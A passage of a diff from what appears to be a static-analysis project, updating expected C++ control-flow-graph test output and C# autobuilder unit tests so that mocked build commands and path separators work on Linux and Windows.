| return ... | +| for_decl_bind | false | 249 | 249 | { ... } | +| for_decl_bind | false | 251 | 251 | init | +| for_decl_bind | false | 253 | 253 | call to init.~BoxedInt | +| for_decl_bind | false | 255 | 255 | bi | +| for_decl_bind | false | 257 | 257 | call to bi.~BoxedInt | +| for_decl_bind | false | 258 | 258 | bi | +| for_decl_bind | false | 259 | 259 | call to bi.~BoxedInt | +| for_decl_bind | true | 194 | 212 | | +| for_decl_bind | true | 197 | 199 | | +| for_decl_bind | true | 199 | 194 | | +| for_decl_bind | true | 201 | 197 | | +| for_decl_bind | true | 210 | 220 | | +| for_decl_bind | true | 212 | 210 | | +| for_decl_bind | true | 220 | 228 | T | +| for_decl_bind | true | 220 | 255 | F | +| for_decl_bind | true | 222 | 224 | | +| for_decl_bind | true | 224 | 232 | | +| for_decl_bind | true | 226 | 222 | | +| for_decl_bind | true | 228 | 226 | | +| for_decl_bind | true | 230 | 201 | | +| for_decl_bind | true | 232 | 236 | | +| for_decl_bind | true | 236 | 237 | | +| for_decl_bind | true | 237 | 258 | | +| for_decl_bind | true | 239 | 230 | | +| for_decl_bind | true | 241 | 243 | | +| for_decl_bind | true | 243 | 247 | | +| for_decl_bind | true | 245 | 241 | | +| for_decl_bind | true | 247 | 185 | | +| for_decl_bind | true | 249 | 239 | | +| for_decl_bind | true | 251 | 253 | | +| for_decl_bind | true | 253 | 245 | | +| for_decl_bind | true | 255 | 257 | | +| for_decl_bind | true | 257 | 251 | | +| for_decl_bind | true | 258 | 259 | | +| for_decl_bind | true | 259 | 212 | | +| for_loop_scope | false | 676 | 676 | for_loop_scope | +| for_loop_scope | false | 684 | 684 | declaration | +| for_loop_scope | false | 689 | 689 | x | +| for_loop_scope | false | 693 | 693 | 10 | +| for_loop_scope | false | 694 | 694 | ... < ... | +| for_loop_scope | false | 699 | 699 | declaration | +| for_loop_scope | false | 701 | 701 | { ... } | +| for_loop_scope | false | 703 | 703 | declaration | +| for_loop_scope | false | 705 | 705 | x | +| for_loop_scope | false | 707 | 707 | ++ ... | +| for_loop_scope | false | 709 | 709 | for(...;...;...) ... | +| for_loop_scope | false | 711 | 711 | return ... | +| for_loop_scope | false | 713 | 713 | { ... } | +| for_loop_scope | false | 715 | 715 | outer_scope | +| for_loop_scope | false | 717 | 717 | call to outer_scope.~NonTrivial | +| for_loop_scope | false | 718 | 718 | for_scope | +| for_loop_scope | false | 720 | 720 | call to for_scope.~NonTrivial | +| for_loop_scope | false | 721 | 721 | inner_scope | +| for_loop_scope | false | 723 | 723 | call to inner_scope.~NonTrivial | +| for_loop_scope | true | 684 | 709 | | +| for_loop_scope | true | 689 | 693 | | +| for_loop_scope | true | 693 | 694 | | +| for_loop_scope | true | 694 | 701 | T | +| for_loop_scope | true | 694 | 718 | F | +| for_loop_scope | true | 699 | 721 | | +| for_loop_scope | true | 701 | 699 | | +| for_loop_scope | true | 703 | 689 | | +| for_loop_scope | true | 705 | 707 | | +| for_loop_scope | true | 707 | 689 | | +| for_loop_scope | true | 709 | 703 | | +| for_loop_scope | true | 711 | 715 | | +| for_loop_scope | true | 713 | 684 | | +| for_loop_scope | true | 715 | 717 | | +| for_loop_scope | true | 717 | 676 | | +| for_loop_scope | true | 718 | 720 | | +| for_loop_scope | true | 720 | 711 | | +| for_loop_scope | true | 721 | 723 | | +| for_loop_scope | true | 723 | 705 | | +| gotos | false | 585 | 585 | gotos | +| gotos | false | 593 | 593 | declaration | +| gotos | false | 595 | 595 | x | +| gotos | false | 597 | 597 | (bool)... | +| gotos | false | 598 | 598 | goto ... | +| gotos | false | 600 | 600 | if (...) ... | +| gotos | false | 602 | 602 | x | +| gotos | false | 604 | 604 | ++ ... | +| gotos | false | 606 | 606 | initializer for y | +| gotos | false | 617 | 617 | declaration | +| gotos | false | 619 | 619 | label ...: | +| gotos | false | 621 | 621 | declaration | +| gotos | false | 623 | 623 | y | +| gotos | false | 625 | 625 | (bool)... | +| gotos | false | 626 | 626 | goto ... | +| gotos | false | 628 | 628 | if (...) ... | +| gotos | false | 630 | 630 | declaration | +| gotos | false | 632 | 632 | { ... } | +| gotos | false | 634 | 634 | label ...: | +| gotos | false | 636 | 636 | x | +| gotos | false | 638 | 638 | -- ... | +| gotos | false | 640 | 640 | ExprStmt | +| gotos | false | 642 | 642 | return ... | +| gotos | false | 644 | 644 | { ... } | +| gotos | false | 646 | 646 | nt1 | +| gotos | false | 648 | 648 | call to nt1.~NonTrivial | +| gotos | false | 650 | 650 | nt2 | +| gotos | false | 652 | 652 | call to nt2.~NonTrivial | +| gotos | false | 653 | 653 | nt3 | +| gotos | false | 654 | 654 | call to nt3.~NonTrivial | +| gotos | false | 655 | 655 | nt2 | +| gotos | false | 656 | 656 | call to nt2.~NonTrivial | +| gotos | true | 593 | 600 | | +| gotos | true | 595 | 598 | T | +| gotos | true | 595 | 632 | F | +| gotos | true | 598 | 619 | | +| gotos | true | 600 | 595 | | +| gotos | true | 602 | 604 | | +| gotos | true | 604 | 619 | | +| gotos | true | 606 | 602 | | +| gotos | true | 617 | 606 | | +| gotos | true | 617 | 619 | | +| gotos | true | 619 | 621 | | +| gotos | true | 621 | 628 | | +| gotos | true | 623 | 626 | T | +| gotos | true | 623 | 630 | F | +| gotos | true | 626 | 655 | | +| gotos | true | 628 | 623 | | +| gotos | true | 630 | 653 | | +| gotos | true | 632 | 617 | | +| gotos | true | 634 | 640 | | +| gotos | true | 636 | 638 | | +| gotos | true | 638 | 642 | | +| gotos | true | 640 | 636 | | +| gotos | true | 642 | 646 | | +| gotos | true | 644 | 593 | | +| gotos | true | 646 | 648 | | +| gotos | true | 648 | 585 | | +| gotos | true | 650 | 652 | | +| gotos | true | 652 | 634 | | +| gotos | true | 653 | 654 | | +| gotos | true | 654 | 650 | | +| gotos | true | 655 | 656 | | +| gotos | true | 656 | 634 | | +| if_decl_bind | false | 407 | 407 | if_decl_bind | +| if_decl_bind | false | 416 | 416 | call to operator int | +| if_decl_bind | false | 418 | 418 | call to BoxedInt | +| if_decl_bind | false | 420 | 420 | x | +| if_decl_bind | false | 422 | 422 | initializer for bi | +| if_decl_bind | false | 425 | 425 | bi | +| if_decl_bind | false | 427 | 427 | (bool)... | +| if_decl_bind | false | 428 | 428 | (condition decl) | +| if_decl_bind | false | 430 | 430 | bi | +| if_decl_bind | false | 432 | 432 | m_ptr | +| if_decl_bind | false | 434 | 434 | * ... | +| if_decl_bind | false | 436 | 436 | ++ ... | +| if_decl_bind | false | 438 | 438 | ExprStmt | +| if_decl_bind | false | 440 | 440 | { ... } | +| if_decl_bind | false | 442 | 442 | bi | +| if_decl_bind | false | 444 | 444 | m_ptr | +| if_decl_bind | false | 446 | 446 | * ... | +| if_decl_bind | false | 448 | 448 | -- ... | +| if_decl_bind | false | 450 | 450 | ExprStmt | +| if_decl_bind | false | 452 | 452 | { ... } | +| if_decl_bind | false | 454 | 454 | if (...) ... | +| if_decl_bind | false | 456 | 456 | x | +| if_decl_bind | false | 460 | 460 | 1 | +| if_decl_bind | false | 461 | 461 | ... = ... | +| if_decl_bind | false | 463 | 463 | ExprStmt | +| if_decl_bind | false | 465 | 465 | return ... | +| if_decl_bind | false | 467 | 467 | { ... } | +| if_decl_bind | false | 469 | 469 | bi | +| if_decl_bind | false | 471 | 471 | call to bi.~BoxedInt | +| if_decl_bind | true | 418 | 428 | | +| if_decl_bind | true | 420 | 418 | | +| if_decl_bind | true | 428 | 440 | T | +| if_decl_bind | true | 428 | 452 | F | +| if_decl_bind | true | 430 | 432 | | +| if_decl_bind | true | 432 | 434 | | +| if_decl_bind | true | 434 | 436 | | +| if_decl_bind | true | 436 | 469 | | +| if_decl_bind | true | 438 | 430 | | +| if_decl_bind | true | 440 | 438 | | +| if_decl_bind | true | 442 | 444 | | +| if_decl_bind | true | 444 | 446 | | +| if_decl_bind | true | 446 | 448 | | +| if_decl_bind | true | 448 | 469 | | +| if_decl_bind | true | 450 | 442 | | +| if_decl_bind | true | 452 | 450 | | +| if_decl_bind | true | 454 | 420 | | +| if_decl_bind | true | 456 | 461 | | +| if_decl_bind | true | 460 | 456 | | +| if_decl_bind | true | 461 | 465 | | +| if_decl_bind | true | 463 | 460 | | +| if_decl_bind | true | 465 | 407 | | +| if_decl_bind | true | 467 | 454 | | +| if_decl_bind | true | 469 | 471 | | +| if_decl_bind | true | 471 | 463 | | +| never_destructs | false | 660 | 660 | never_destructs | +| never_destructs | false | 665 | 665 | declaration | +| never_destructs | false | 667 | 667 | label ...: | +| never_destructs | false | 669 | 669 | goto ... | +| never_destructs | false | 671 | 671 | { ... } | +| never_destructs | true | 665 | 667 | | +| never_destructs | true | 667 | 669 | | +| never_destructs | true | 669 | 667 | | +| never_destructs | true | 671 | 665 | | +| operator delete | false | 507 | 507 | operator delete | +| operator new | false | 530 | 530 | operator new | +| simple | false | 847 | 847 | simple | +| simple | false | 852 | 852 | declaration | +| simple | false | 854 | 854 | return ... | +| simple | false | 856 | 856 | { ... } | +| simple | false | 858 | 858 | nt | +| simple | false | 860 | 860 | call to nt.~NonTrivial | +| simple | true | 852 | 854 | | +| simple | true | 854 | 858 | | +| simple | true | 856 | 852 | | +| simple | true | 858 | 860 | | +| simple | true | 860 | 847 | | +| simple2 | false | 823 | 823 | simple2 | +| simple2 | false | 828 | 828 | declaration | +| simple2 | false | 830 | 830 | declaration | +| simple2 | false | 832 | 832 | return ... | +| simple2 | false | 834 | 834 | { ... } | +| simple2 | false | 836 | 836 | one | +| simple2 | false | 838 | 838 | call to one.~NonTrivial | +| simple2 | false | 839 | 839 | two | +| simple2 | false | 840 | 840 | call to two.~NonTrivial | +| simple2 | true | 828 | 830 | | +| simple2 | true | 830 | 832 | | +| simple2 | true | 832 | 839 | | +| simple2 | true | 834 | 828 | | +| simple2 | true | 836 | 838 | | +| simple2 | true | 838 | 823 | | +| simple2 | true | 839 | 840 | | +| simple2 | true | 840 | 836 | | +| switch_decl_bind | false | 308 | 308 | switch_decl_bind | +| switch_decl_bind | false | 317 | 317 | call to operator int | +| switch_decl_bind | false | 319 | 319 | call to BoxedInt | +| switch_decl_bind | false | 321 | 321 | x | +| switch_decl_bind | false | 323 | 323 | initializer for bi | +| switch_decl_bind | false | 326 | 326 | bi | +| switch_decl_bind | false | 328 | 328 | (condition decl) | +| switch_decl_bind | false | 332 | 332 | 0 | +| switch_decl_bind | false | 333 | 333 | case ...: | +| switch_decl_bind | false | 336 | 336 | bi | +| switch_decl_bind | false | 339 | 339 | m_ptr | +| switch_decl_bind | false | 341 | 341 | * ... | +| switch_decl_bind | false | 343 | 343 | -- ... | +| switch_decl_bind | false | 345 | 345 | ExprStmt | +| switch_decl_bind | false | 347 | 347 | break; | +| switch_decl_bind | false | 351 | 351 | 1 | +| switch_decl_bind | false | 352 | 352 | case ...: | +| switch_decl_bind | false | 354 | 354 | bi | +| switch_decl_bind | false | 356 | 356 | m_ptr | +| switch_decl_bind | false | 358 | 358 | * ... | +| switch_decl_bind | false | 360 | 360 | ++ ... | +| switch_decl_bind | false | 362 | 362 | ExprStmt | +| switch_decl_bind | false | 364 | 364 | break; | +| switch_decl_bind | false | 366 | 366 | default: | +| switch_decl_bind | false | 368 | 368 | bi | +| switch_decl_bind | false | 370 | 370 | m_ptr | +| switch_decl_bind | false | 372 | 372 | * ... | +| switch_decl_bind | false | 376 | 376 | 2 | +| switch_decl_bind | false | 377 | 377 | ... /= ... | +| switch_decl_bind | false | 379 | 379 | ExprStmt | +| switch_decl_bind | false | 381 | 381 | { ... } | +| switch_decl_bind | false | 383 | 383 | switch (...) ... | +| switch_decl_bind | false | 385 | 385 | label ...: | +| switch_decl_bind | false | 387 | 387 | x | +| switch_decl_bind | false | 391 | 391 | 1 | +| switch_decl_bind | false | 392 | 392 | ... = ... | +| switch_decl_bind | false | 394 | 394 | ExprStmt | +| switch_decl_bind | false | 396 | 396 | return ... | +| switch_decl_bind | false | 398 | 398 | { ... } | +| switch_decl_bind | false | 400 | 400 | bi | +| switch_decl_bind | false | 402 | 402 | call to bi.~BoxedInt | +| switch_decl_bind | false | 403 | 403 | bi | +| switch_decl_bind | false | 404 | 404 | call to bi.~BoxedInt | +| switch_decl_bind | false | 405 | 405 | bi | +| switch_decl_bind | false | 406 | 406 | call to bi.~BoxedInt | +| switch_decl_bind | true | 319 | 328 | | +| switch_decl_bind | true | 321 | 319 | | +| switch_decl_bind | true | 328 | 381 | | +| switch_decl_bind | true | 333 | 345 | | +| switch_decl_bind | true | 336 | 339 | | +| switch_decl_bind | true | 339 | 341 | | +| switch_decl_bind | true | 341 | 343 | | +| switch_decl_bind | true | 343 | 347 | | +| switch_decl_bind | true | 345 | 336 | | +| switch_decl_bind | true | 347 | 405 | | +| switch_decl_bind | true | 352 | 362 | | +| switch_decl_bind | true | 354 | 356 | | +| switch_decl_bind | true | 356 | 358 | | +| switch_decl_bind | true | 358 | 360 | | +| switch_decl_bind | true | 360 | 364 | | +| switch_decl_bind | true | 362 | 354 | | +| switch_decl_bind | true | 364 | 403 | | +| switch_decl_bind | true | 366 | 379 | | +| switch_decl_bind | true | 368 | 370 | | +| switch_decl_bind | true | 370 | 372 | | +| switch_decl_bind | true | 372 | 376 | | +| switch_decl_bind | true | 376 | 377 | | +| switch_decl_bind | true | 377 | 400 | | +| switch_decl_bind | true | 379 | 368 | | +| switch_decl_bind | true | 381 | 333 | | +| switch_decl_bind | true | 381 | 352 | | +| switch_decl_bind | true | 381 | 366 | | +| switch_decl_bind | true | 383 | 321 | | +| switch_decl_bind | true | 385 | 394 | | +| switch_decl_bind | true | 387 | 392 | | +| switch_decl_bind | true | 391 | 387 | | +| switch_decl_bind | true | 392 | 396 | | +| switch_decl_bind | true | 394 | 391 | | +| switch_decl_bind | true | 396 | 308 | | +| switch_decl_bind | true | 398 | 383 | | +| switch_decl_bind | true | 400 | 402 | | +| switch_decl_bind | true | 402 | 385 | | +| switch_decl_bind | true | 403 | 404 | | +| switch_decl_bind | true | 404 | 385 | | +| switch_decl_bind | true | 405 | 406 | | +| switch_decl_bind | true | 406 | 385 | | +| while_decl_bind | false | 260 | 260 | while_decl_bind | +| while_decl_bind | false | 269 | 269 | call to operator int | +| while_decl_bind | false | 271 | 271 | call to BoxedInt | +| while_decl_bind | false | 273 | 273 | x | +| while_decl_bind | false | 275 | 275 | initializer for bi | +| while_decl_bind | false | 278 | 278 | bi | +| while_decl_bind | false | 280 | 280 | (bool)... | +| while_decl_bind | false | 281 | 281 | (condition decl) | +| while_decl_bind | false | 283 | 283 | x | +| while_decl_bind | false | 285 | 285 | -- ... | +| while_decl_bind | false | 287 | 287 | ExprStmt | +| while_decl_bind | false | 289 | 289 | { ... } | +| while_decl_bind | false | 291 | 291 | while (...) ... | +| while_decl_bind | false | 293 | 293 | x | +| while_decl_bind | false | 295 | 295 | ++ ... | +| while_decl_bind | false | 297 | 297 | ExprStmt | +| while_decl_bind | false | 299 | 299 | return ... | +| while_decl_bind | false | 301 | 301 | { ... } | +| while_decl_bind | false | 303 | 303 | bi | +| while_decl_bind | false | 305 | 305 | call to bi.~BoxedInt | +| while_decl_bind | false | 306 | 306 | bi | +| while_decl_bind | false | 307 | 307 | call to bi.~BoxedInt | +| while_decl_bind | true | 271 | 281 | | +| while_decl_bind | true | 273 | 271 | | +| while_decl_bind | true | 281 | 289 | T | +| while_decl_bind | true | 281 | 303 | F | +| while_decl_bind | true | 283 | 285 | | +| while_decl_bind | true | 285 | 306 | | +| while_decl_bind | true | 287 | 283 | | +| while_decl_bind | true | 289 | 287 | | +| while_decl_bind | true | 291 | 273 | | +| while_decl_bind | true | 293 | 295 | | +| while_decl_bind | true | 295 | 299 | | +| while_decl_bind | true | 297 | 293 | | +| while_decl_bind | true | 299 | 260 | | +| while_decl_bind | true | 301 | 291 | | +| while_decl_bind | true | 303 | 305 | | +| while_decl_bind | true | 305 | 297 | | +| while_decl_bind | true | 306 | 307 | | +| while_decl_bind | true | 307 | 273 | | diff --git a/csharp/autobuilder/Semmle.Autobuild.Tests/BuildScripts.cs b/csharp/autobuilder/Semmle.Autobuild.Tests/BuildScripts.cs index 4cd50926dba..2b655310e09 100644 --- a/csharp/autobuilder/Semmle.Autobuild.Tests/BuildScripts.cs +++ b/csharp/autobuilder/Semmle.Autobuild.Tests/BuildScripts.cs @@ -130,7 +130,7 @@ namespace Semmle.Extraction.Tests string IBuildActions.PathCombine(params string[] parts) { - return string.Join('\\', parts.Where(p => !string.IsNullOrWhiteSpace(p))); + return string.Join(IsWindows ? '\\' : '/', parts.Where(p => !string.IsNullOrWhiteSpace(p))); } string IBuildActions.GetFullPath(string path) => path; @@ -146,6 +146,13 @@ namespace Semmle.Extraction.Tests return xml; throw new ArgumentException("Missing LoadXml " + filename); } + + public string EnvironmentExpandEnvironmentVariables(string s) + { + foreach (var kvp in GetEnvironmentVariable) + s = s.Replace($"%{kvp.Key}%", kvp.Value); + return s; + } } /// @@ -394,9 +401,9 @@ namespace Semmle.Extraction.Tests Actions.RunProcess["dotnet --info"] = 0; Actions.RunProcess["dotnet clean test.csproj"] = 0; Actions.RunProcess["dotnet restore test.csproj"] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --auto dotnet build --no-incremental /p:UseSharedCompilation=false test.csproj"] = 0; - Actions.RunProcess[@"C:\odasa\tools\java\bin\java -jar C:\odasa\tools\extractor-asp.jar ."] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --xml --extensions config csproj props xml"] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --auto dotnet build --no-incremental /p:UseSharedCompilation=false test.csproj"] = 0; + Actions.RunProcess[@"C:\odasa\tools\java/bin/java -jar C:\odasa/tools/extractor-asp.jar ."] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --xml --extensions config csproj props xml"] = 0; Actions.FileExists["csharp.log"] = true; Actions.FileExists["test.csproj"] = true; Actions.GetEnvironmentVariable["TRAP_FOLDER"] = null; @@ -470,6 +477,7 @@ namespace Semmle.Extraction.Tests [Fact] public void TestVsWhereSucceeded() { + Actions.IsWindows = true; Actions.GetEnvironmentVariable["ProgramFiles(x86)"] = @"C:\Program Files (x86)"; Actions.FileExists[@"C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe"] = true; Actions.RunProcess[@"C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe -prerelease -legacy -property installationPath"] = 0; @@ -487,6 +495,7 @@ namespace Semmle.Extraction.Tests [Fact] public void TestVsWhereNotExist() { + Actions.IsWindows = true; Actions.GetEnvironmentVariable["ProgramFiles(x86)"] = @"C:\Program Files (x86)"; Actions.FileExists[@"C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe"] = false; @@ -497,6 +506,7 @@ namespace Semmle.Extraction.Tests [Fact] public void TestVcVarsAllBatFiles() { + Actions.IsWindows = true; Actions.GetEnvironmentVariable["ProgramFiles(x86)"] = @"C:\Program Files (x86)"; Actions.FileExists[@"C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe"] = false; Actions.FileExists[@"C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\vcvarsall.bat"] = true; @@ -511,9 +521,9 @@ namespace Semmle.Extraction.Tests [Fact] public void TestLinuxBuildlessExtractionSuccess() { - Actions.RunProcess[@"C:\odasa\tools\csharp\Semmle.Extraction.CSharp.Standalone --references:."] = 0; - Actions.RunProcess[@"C:\odasa\tools\java\bin\java -jar C:\odasa\tools\extractor-asp.jar ."] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --xml --extensions config csproj props xml"] = 0; + Actions.RunProcess[@"C:\odasa\tools/csharp/Semmle.Extraction.CSharp.Standalone --references:."] = 0; + Actions.RunProcess[@"C:\odasa\tools\java/bin/java -jar C:\odasa/tools/extractor-asp.jar ."] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --xml --extensions config csproj props xml"] = 0; Actions.FileExists["csharp.log"] = true; Actions.GetEnvironmentVariable["TRAP_FOLDER"] = null; Actions.GetEnvironmentVariable["SOURCE_ARCHIVE"] = null; @@ -527,9 +537,7 @@ namespace Semmle.Extraction.Tests [Fact] public void TestLinuxBuildlessExtractionFailed() { - Actions.RunProcess[@"C:\odasa\tools\csharp\Semmle.Extraction.CSharp.Standalone --references:."] = 10; - Actions.RunProcess[@"C:\odasa\tools\java\bin\java -jar C:\odasa\tools\extractor-asp.jar ."] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --xml --extensions config"] = 0; + Actions.RunProcess[@"C:\odasa\tools/csharp/Semmle.Extraction.CSharp.Standalone --references:."] = 10; Actions.FileExists["csharp.log"] = true; Actions.GetEnvironmentVariable["TRAP_FOLDER"] = null; Actions.GetEnvironmentVariable["SOURCE_ARCHIVE"] = null; @@ -543,9 +551,9 @@ namespace Semmle.Extraction.Tests [Fact] public void TestLinuxBuildlessExtractionSolution() { - Actions.RunProcess[@"C:\odasa\tools\csharp\Semmle.Extraction.CSharp.Standalone foo.sln --references:."] = 0; - Actions.RunProcess[@"C:\odasa\tools\java\bin\java -jar C:\odasa\tools\extractor-asp.jar ."] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --xml --extensions config csproj props xml"] = 0; + Actions.RunProcess[@"C:\odasa\tools/csharp/Semmle.Extraction.CSharp.Standalone foo.sln --references:."] = 0; + Actions.RunProcess[@"C:\odasa\tools\java/bin/java -jar C:\odasa/tools/extractor-asp.jar ."] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --xml --extensions config csproj props xml"] = 0; Actions.FileExists["csharp.log"] = true; Actions.GetEnvironmentVariable["TRAP_FOLDER"] = null; Actions.GetEnvironmentVariable["SOURCE_ARCHIVE"] = null; @@ -587,9 +595,9 @@ namespace Semmle.Extraction.Tests [Fact] public void TestLinuxBuildCommand() { - Actions.RunProcess["C:\\odasa\\tools\\odasa index --auto \"./build.sh --skip-tests\""] = 0; - Actions.RunProcess[@"C:\odasa\tools\java\bin\java -jar C:\odasa\tools\extractor-asp.jar ."] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --xml --extensions config csproj props xml"] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --auto ""./build.sh --skip-tests"""] = 0; + Actions.RunProcess[@"C:\odasa\tools\java/bin/java -jar C:\odasa/tools/extractor-asp.jar ."] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --xml --extensions config csproj props xml"] = 0; Actions.FileExists["csharp.log"] = true; Actions.GetEnvironmentVariable["TRAP_FOLDER"] = null; Actions.GetEnvironmentVariable["SOURCE_ARCHIVE"] = null; @@ -610,10 +618,10 @@ namespace Semmle.Extraction.Tests Actions.GetEnvironmentVariable["TRAP_FOLDER"] = null; Actions.GetEnvironmentVariable["SOURCE_ARCHIVE"] = null; Actions.RunProcess["/bin/chmod u+x build/build.sh"] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --auto build/build.sh"] = 0; - Actions.RunProcessWorkingDirectory[@"C:\odasa\tools\odasa index --auto build/build.sh"] = "build"; - Actions.RunProcess[@"C:\odasa\tools\java\bin\java -jar C:\odasa\tools\extractor-asp.jar ."] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --xml --extensions config csproj props xml"] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --auto build/build.sh"] = 0; + Actions.RunProcessWorkingDirectory[@"C:\odasa/tools/odasa index --auto build/build.sh"] = "build"; + Actions.RunProcess[@"C:\odasa\tools\java/bin/java -jar C:\odasa/tools/extractor-asp.jar ."] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --xml --extensions config csproj props xml"] = 0; Actions.FileExists["csharp.log"] = true; var autobuilder = CreateAutoBuilder("csharp", false); @@ -629,8 +637,8 @@ namespace Semmle.Extraction.Tests Actions.GetEnvironmentVariable["SOURCE_ARCHIVE"] = null; Actions.RunProcess["/bin/chmod u+x build.sh"] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --auto build.sh"] = 0; - Actions.RunProcessWorkingDirectory[@"C:\odasa\tools\odasa index --auto build.sh"] = ""; + Actions.RunProcess[@"C:\odasa/tools/odasa index --auto build.sh"] = 0; + Actions.RunProcessWorkingDirectory[@"C:\odasa/tools/odasa index --auto build.sh"] = ""; Actions.FileExists["csharp.log"] = false; var autobuilder = CreateAutoBuilder("csharp", false); @@ -646,8 +654,8 @@ namespace Semmle.Extraction.Tests Actions.GetEnvironmentVariable["SOURCE_ARCHIVE"] = null; Actions.RunProcess["/bin/chmod u+x build.sh"] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --auto build.sh"] = 5; - Actions.RunProcessWorkingDirectory[@"C:\odasa\tools\odasa index --auto build.sh"] = ""; + Actions.RunProcess[@"C:\odasa/tools/odasa index --auto build.sh"] = 5; + Actions.RunProcessWorkingDirectory[@"C:\odasa/tools/odasa index --auto build.sh"] = ""; Actions.FileExists["csharp.log"] = true; var autobuilder = CreateAutoBuilder("csharp", false); @@ -796,9 +804,9 @@ namespace Semmle.Extraction.Tests [Fact] public void TestSkipNugetBuildless() { - Actions.RunProcess[@"C:\odasa\tools\csharp\Semmle.Extraction.CSharp.Standalone foo.sln --references:. --skip-nuget"] = 0; - Actions.RunProcess[@"C:\odasa\tools\java\bin\java -jar C:\odasa\tools\extractor-asp.jar ."] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --xml --extensions config csproj props xml"] = 0; + Actions.RunProcess[@"C:\odasa\tools/csharp/Semmle.Extraction.CSharp.Standalone foo.sln --references:. --skip-nuget"] = 0; + Actions.RunProcess[@"C:\odasa\tools\java/bin/java -jar C:\odasa/tools/extractor-asp.jar ."] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --xml --extensions config csproj props xml"] = 0; Actions.FileExists["csharp.log"] = true; Actions.GetEnvironmentVariable["TRAP_FOLDER"] = null; Actions.GetEnvironmentVariable["SOURCE_ARCHIVE"] = null; @@ -816,9 +824,9 @@ namespace Semmle.Extraction.Tests Actions.RunProcess["dotnet --info"] = 0; Actions.RunProcess["dotnet clean test.csproj"] = 0; Actions.RunProcess["dotnet restore test.csproj"] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --auto dotnet build --no-incremental /p:UseSharedCompilation=false --no-restore test.csproj"] = 0; - Actions.RunProcess[@"C:\odasa\tools\java\bin\java -jar C:\odasa\tools\extractor-asp.jar ."] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --xml --extensions config csproj props xml"] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --auto dotnet build --no-incremental /p:UseSharedCompilation=false --no-restore test.csproj"] = 0; + Actions.RunProcess[@"C:\odasa\tools\java/bin/java -jar C:\odasa/tools/extractor-asp.jar ."] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --xml --extensions config csproj props xml"] = 0; Actions.FileExists["csharp.log"] = true; Actions.FileExists["test.csproj"] = true; Actions.GetEnvironmentVariable["TRAP_FOLDER"] = null; @@ -846,13 +854,13 @@ namespace Semmle.Extraction.Tests Actions.RunProcessOut["dotnet --list-sdks"] = "2.1.2 [C:\\Program Files\\dotnet\\sdks]\n2.1.4 [C:\\Program Files\\dotnet\\sdks]"; Actions.RunProcess[@"curl -sO https://dot.net/v1/dotnet-install.sh"] = 0; Actions.RunProcess[@"chmod u+x dotnet-install.sh"] = 0; - Actions.RunProcess[@"./dotnet-install.sh --channel release --version 2.1.3 --install-dir C:\Project\.dotnet"] = 0; - Actions.RunProcess[@"C:\Project\.dotnet\dotnet --info"] = 0; - Actions.RunProcess[@"C:\Project\.dotnet\dotnet clean test.csproj"] = 0; - Actions.RunProcess[@"C:\Project\.dotnet\dotnet restore test.csproj"] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --auto C:\Project\.dotnet\dotnet build --no-incremental /p:UseSharedCompilation=false test.csproj"] = 0; - Actions.RunProcess[@"C:\odasa\tools\java\bin\java -jar C:\odasa\tools\extractor-asp.jar ."] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --xml --extensions config csproj props xml"] = 0; + Actions.RunProcess[@"./dotnet-install.sh --channel release --version 2.1.3 --install-dir C:\Project/.dotnet"] = 0; + Actions.RunProcess[@"C:\Project/.dotnet/dotnet --info"] = 0; + Actions.RunProcess[@"C:\Project/.dotnet/dotnet clean test.csproj"] = 0; + Actions.RunProcess[@"C:\Project/.dotnet/dotnet restore test.csproj"] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --auto C:\Project/.dotnet/dotnet build --no-incremental /p:UseSharedCompilation=false test.csproj"] = 0; + Actions.RunProcess[@"C:\odasa\tools\java/bin/java -jar C:\odasa/tools/extractor-asp.jar ."] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --xml --extensions config csproj props xml"] = 0; Actions.FileExists["csharp.log"] = true; Actions.FileExists["test.csproj"] = true; Actions.GetEnvironmentVariable["TRAP_FOLDER"] = null; @@ -881,13 +889,13 @@ namespace Semmle.Extraction.Tests Actions.RunProcessOut["dotnet --list-sdks"] = "2.1.3 [C:\\Program Files\\dotnet\\sdks]\n2.1.4 [C:\\Program Files\\dotnet\\sdks]"; Actions.RunProcess[@"curl -sO https://dot.net/v1/dotnet-install.sh"] = 0; Actions.RunProcess[@"chmod u+x dotnet-install.sh"] = 0; - Actions.RunProcess[@"./dotnet-install.sh --channel release --version 2.1.3 --install-dir C:\Project\.dotnet"] = 0; - Actions.RunProcess[@"C:\Project\.dotnet\dotnet --info"] = 0; - Actions.RunProcess[@"C:\Project\.dotnet\dotnet clean test.csproj"] = 0; - Actions.RunProcess[@"C:\Project\.dotnet\dotnet restore test.csproj"] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --auto C:\Project\.dotnet\dotnet build 